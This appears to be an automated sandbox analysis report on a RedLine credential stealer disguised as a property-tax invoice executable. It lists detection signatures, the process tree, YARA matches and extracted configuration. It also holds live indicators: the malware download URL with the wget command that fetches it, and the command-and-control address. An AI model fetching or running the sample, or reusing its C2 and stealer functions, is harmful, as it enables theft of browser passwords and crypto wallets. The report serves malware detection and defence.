Edit tour

Windows Analysis Report
http://www.sdrclm.cn/vendor/phpdocumentor/P800/P90GT_Invoice_Related_Property_Tax_P800.exe

Overview

General Information

Sample URL:	http://www.sdrclm.cn/vendor/phpdocumentor/P800/P90GT_Invoice_Related_Property_Tax_P800.exe
Analysis ID:	634959
Infos:

Detection

RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Tries to steal Crypto Currency Wallets

Connects to many ports of the same IP (likely port scanning)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses known network protocols on non-standard ports

Injects a PE file into a foreign processes

Yara detected Generic Downloader

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

PE file has nameless sections

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Machine Learning detection for dropped file

Found many strings related to Crypto-Wallets (likely being stolen)

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Tries to harvest and steal browser information (history, passwords, etc)

PE file contains section with special chars

Queries the volume information (name, serial number etc) of a device

Yara signature match

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

PE file contains sections with non-standard names

Detected potential crypto function

Yara detected Credential Stealer

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Contains long sleeps (>= 3 min)

Abnormal high CPU Usage

Enables debug privileges

Is looking for software installed on the system

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

AV process strings found (often used to terminate AV products)

Drops PE files

Checks if the current process is being debugged

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

cmd.exe (PID: 6460 cmdline: C:\Windows\system32\cmd.exe /c wget -t 2 -v -T 60 -P "C:\Users\user\Desktop\download" --no-check-certificate --content-disposition --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" "http://www.sdrclm.cn/vendor/phpdocumentor/P800/P90GT_Invoice_Related_Property_Tax_P800.exe" > cmdline.out 2>&1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6472 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

wget.exe (PID: 6504 cmdline: wget -t 2 -v -T 60 -P "C:\Users\user\Desktop\download" --no-check-certificate --content-disposition --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" "http://www.sdrclm.cn/vendor/phpdocumentor/P800/P90GT_Invoice_Related_Property_Tax_P800.exe" MD5: 3DADB6E2ECE9C4B3E1E322E617658B60)

P90GT_Invoice_Related_Property_Tax_P800.exe (PID: 6632 cmdline: "C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe" MD5: 6FFB271DAC5AEA05D5A8FEB1344AC144)

P90GT_Invoice_Related_Property_Tax_P800.exe (PID: 6716 cmdline: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe MD5: 6FFB271DAC5AEA05D5A8FEB1344AC144)

conhost.exe (PID: 6784 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

Threatname: RedLine

{"C2 url": ["2.tcp.eu.ngrok.io:17685"], "Bot Id": "cheat"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	SUSP_NET_NAME_ConfuserEx	Detects ConfuserEx packed file	Arnim Rupp	0x3668b:$name: ConfuserEx 0x2feb1:$compile: AssemblyTitle

Memory Dumps

Source	Rule	Description	Author
00000006.00000000.253791983.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000006.00000000.253791983.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000000.254857818.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000006.00000000.254857818.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.356883017.0000000002C4F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000004.00000002.519103582.0000000003679000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000004.00000002.519103582.0000000003679000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000000.254550388.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000006.00000000.254550388.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.356108749.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000006.00000002.356108749.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000003.250706107.00000000009A8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000004.00000003.250706107.00000000009A8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000000.254084166.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000006.00000000.254084166.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: P90GT_Invoice_Related_Property_Tax_P800.exe PID: 6632	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: P90GT_Invoice_Related_Property_Tax_P800.exe PID: 6632	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: P90GT_Invoice_Related_Property_Tax_P800.exe PID: 6716	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: P90GT_Invoice_Related_Property_Tax_P800.exe PID: 6716	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 14 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.12.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.12.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.12.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.12.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165f2:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165d3:$v2_6: GetUpdates
6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.7a0000.13.unpack	SUSP_NET_NAME_ConfuserEx	Detects ConfuserEx packed file	Arnim Rupp	0x3668b:$name: ConfuserEx 0x2feb1:$compile: AssemblyTitle
6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.4.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.4.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.4.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.4.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165f2:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165d3:$v2_6: GetUpdates
6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.7a0000.9.unpack	SUSP_NET_NAME_ConfuserEx	Detects ConfuserEx packed file	Arnim Rupp	0x3668b:$name: ConfuserEx 0x2feb1:$compile: AssemblyTitle
6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.7a0000.7.unpack	SUSP_NET_NAME_ConfuserEx	Detects ConfuserEx packed file	Arnim Rupp	0x3668b:$name: ConfuserEx 0x2feb1:$compile: AssemblyTitle
6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.6.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.6.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.6.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.6.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165f2:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165d3:$v2_6: GetUpdates
4.2.P90GT_Invoice_Related_Property_Tax_P800.exe.3691338.2.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
4.2.P90GT_Invoice_Related_Property_Tax_P800.exe.3691338.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.P90GT_Invoice_Related_Property_Tax_P800.exe.3691338.2.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0xe68a:$u7: RunPE 0x11d41:$u8: DownloadAndEx 0x7330:$pat14: , CommandLine: 0x11279:$v2_1: ListOfProcesses 0xe88b:$v2_2: get_ScanVPN 0xe92e:$v2_2: get_ScanFTP 0xf61e:$v2_2: get_ScanDiscord 0x1060c:$v2_2: get_ScanSteam 0x10628:$v2_2: get_ScanTelegram 0x106ce:$v2_2: get_ScanScreen 0x11416:$v2_2: get_ScanChromeBrowsersPaths 0x1144e:$v2_2: get_ScanGeckoBrowsersPaths 0x11709:$v2_2: get_ScanBrowsers 0x117ca:$v2_2: get_ScannedWallets 0x117f0:$v2_2: get_ScanWallets 0x11810:$v2_3: GetArguments 0xfed9:$v2_4: VerifyUpdate 0x147f2:$v2_4: VerifyUpdate 0x11bca:$v2_5: VerifyScanRequest 0x112c6:$v2_6: GetUpdates 0x147d3:$v2_6: GetUpdates
6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.7a0000.3.unpack	SUSP_NET_NAME_ConfuserEx	Detects ConfuserEx packed file	Arnim Rupp	0x3668b:$name: ConfuserEx 0x2feb1:$compile: AssemblyTitle
6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.10.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.10.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.10.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.10.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165f2:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165d3:$v2_6: GetUpdates
4.0.P90GT_Invoice_Related_Property_Tax_P800.exe.2d0000.0.unpack	SUSP_NET_NAME_ConfuserEx	Detects ConfuserEx packed file	Arnim Rupp	0x3668b:$name: ConfuserEx 0x2feb1:$compile: AssemblyTitle
4.2.P90GT_Invoice_Related_Property_Tax_P800.exe.2d0000.0.unpack	SUSP_NET_NAME_ConfuserEx	Detects ConfuserEx packed file	Arnim Rupp	0x3668b:$name: ConfuserEx 0x2feb1:$compile: AssemblyTitle
6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.8.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.8.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.7a0000.0.unpack	SUSP_NET_NAME_ConfuserEx	Detects ConfuserEx packed file	Arnim Rupp	0x3668b:$name: ConfuserEx 0x2feb1:$compile: AssemblyTitle
6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.8.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.8.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165f2:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165d3:$v2_6: GetUpdates
6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.7a0000.11.unpack	SUSP_NET_NAME_ConfuserEx	Detects ConfuserEx packed file	Arnim Rupp	0x3668b:$name: ConfuserEx 0x2feb1:$compile: AssemblyTitle
6.2.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
6.2.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
6.2.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.7a0000.1.unpack	SUSP_NET_NAME_ConfuserEx	Detects ConfuserEx packed file	Arnim Rupp	0x3668b:$name: ConfuserEx 0x2feb1:$compile: AssemblyTitle
6.2.P90GT_Invoice_Related_Property_Tax_P800.exe.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165f2:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165d3:$v2_6: GetUpdates
6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.7a0000.2.unpack	SUSP_NET_NAME_ConfuserEx	Detects ConfuserEx packed file	Arnim Rupp	0x3668b:$name: ConfuserEx 0x2feb1:$compile: AssemblyTitle
4.2.P90GT_Invoice_Related_Property_Tax_P800.exe.3691338.2.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
4.2.P90GT_Invoice_Related_Property_Tax_P800.exe.3691338.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.2.P90GT_Invoice_Related_Property_Tax_P800.exe.3691338.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.P90GT_Invoice_Related_Property_Tax_P800.exe.3691338.2.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x280aa:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x2b761:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x20d50:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x2ac99:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x282ab:$v2_2: get_ScanVPN 0x2834e:$v2_2: get_ScanFTP
6.2.P90GT_Invoice_Related_Property_Tax_P800.exe.7a0000.1.unpack	SUSP_NET_NAME_ConfuserEx	Detects ConfuserEx packed file	Arnim Rupp	0x3668b:$name: ConfuserEx 0x2feb1:$compile: AssemblyTitle
6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.7a0000.5.unpack	SUSP_NET_NAME_ConfuserEx	Detects ConfuserEx packed file	Arnim Rupp	0x3668b:$name: ConfuserEx 0x2feb1:$compile: AssemblyTitle
Click to see the 38 entries

HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 27 May 2022 04:58:30 GMTContent-Type: application/octet-streamContent-Length: 241664Last-Modified: Thu, 26 May 2022 12:39:54 GMTConnection: keep-aliveETag: "628f751a-3b000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 00 72 8f 62 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 f8 00 00 00 b4 02 00 00 00 00 00 0a 00 04 00 00 a0 02 00 00 20 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 04 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 a3 02 00 53 00 00 00 00 a0 03 00 30 3d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 03 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 08 00 00 00 00 00 00 00 00 00 00 00 00 a0 02 00 48 00 00 00 00 00 00 00 00 00 00 00 54 2c 79 22 18 08 4a 38 50 73 02 00 00 20 00 00 00 74 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 65 78 74 00 00 00 c8 f5 00 00 00 a0 02 00 00 f6 00 00 00 78 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 30 3d 00 00 00 a0 03 00 00 3e 00 00 00 6e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 e0 03 00 00 02 00 00 00 ac 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 10 00 00 00 00 00 04 00 00 02 00 00 00 ae 03 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ium PDF Plugin","versions":[{"comment":"Chromium PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"divx-player":{"group_name_matcher":"DivX Web Player","help_url":"https://support.google.com/chrome/?p=plugin_divx","lang":"en-US","mime_types":["video/divx","video/x-matroska"],"name":"DivX Web Player","url":"http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe","versions":[{"status":"requires_authorization","version":"1.4.3.4"}]},"facebook-video-calling":{"group_name_matcher":"Facebook Video","lang":"en-US","mime_types":["application/skypesdk-plugin"],"name":"Facebook Video Calling","url":"https://www.facebook.com/chat/video/videocalldownload.php","versions":[{"comment":"We do not track version information for the Facebook Video Calling Plugin.","status":"requires_authorization","version":"0"}]},"google-chrome-pdf":{"group_name_matcher":"Chrome PDF Viewer","mime_types":[],"name":"Chrome PDF Viewer","versions":[{"comment":"Google Chrome PDF Viewer has no version information.","status":"fully_trusted","version":"0"}]},"google-chrome-pdf-plugin":{"group_name_matcher":"Chrome PDF Plugin","mime_types":[],"name":"Chrome PDF Plugin","versions":[{"comment":"Google Chrome PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"google-earth":{"group_name_matcher":"Google Earth","lang":"en-US","mime_types":["application/geplugin"],"name":"Google Earth","url":"http://www.google.com/earth/explore/products/plugin.html","versions":[{"comment":"We do not track version information for the Google Earth Plugin.","status":"requires_authorization","version":"0"}]},"google-talk":{"group_name_matcher":"Google Talk","mime_types":[],"name":"Google Talk","versions":[{"comment":"'Google Talk Plugin' and 'Google Talk Plugin Video Accelerator' use two completely different versioning schemes, so we can't define a minimum version.","status":"requires_authorization","version":"0"}]},"google-update":{"group_name_matcher":"Google Update","mime-types":[],"name":"Google Update","versions":[{"comment":"Google Update plugin is versioned but kept automatically up to date","status":"requires_authorization","version":"0"}]},"ibm-java-runtime-environment":{"group_name_matcher":"IBMJava*","mime_types":["application/x-java-applet","application/x-java-applet;jpi-version=1.7.0_05","application/x-java-applet;version=1.1","application/x-java-applet;version=1.1.1","application/x-java-applet;version=1.1.2","application/x-java-applet;version=1.1.3","application/x-java-applet;version=1.2","application/x-java-applet;version=1.2.1","application/x-java-applet;version=1.2.2","application/x-java-applet;version=1.3","application/x-java-applet;version=1.3.1","application/x-java-applet;version=1.4","application/x-java-applet;version=1.4.1","application/x-java-applet;version=1.4.2","application/x-java-applet;version=1.5","application/x-java-applet;version=1.6","application/x-java-applet;version=1.7","application/x-java
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.358628873.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.359376108.000000000308A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: l9https://www.facebook.com/chat/video/videocalldownload.php equals www.facebook.com (Facebook)

Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356922974.0000000002C91000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.357060904.0000000002DB5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://2.tcp.eu.ngrok.io
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.357070087.0000000002DB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://2.tcp.eu.ngrok.io:1
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356922974.0000000002C91000.00000004.00000800.00020000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356843628.0000000002C01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://2.tcp.eu.ngrok.io:17685
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000002.356843628.0000000002C01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://2.tcp.eu.ngrok.io:17685/
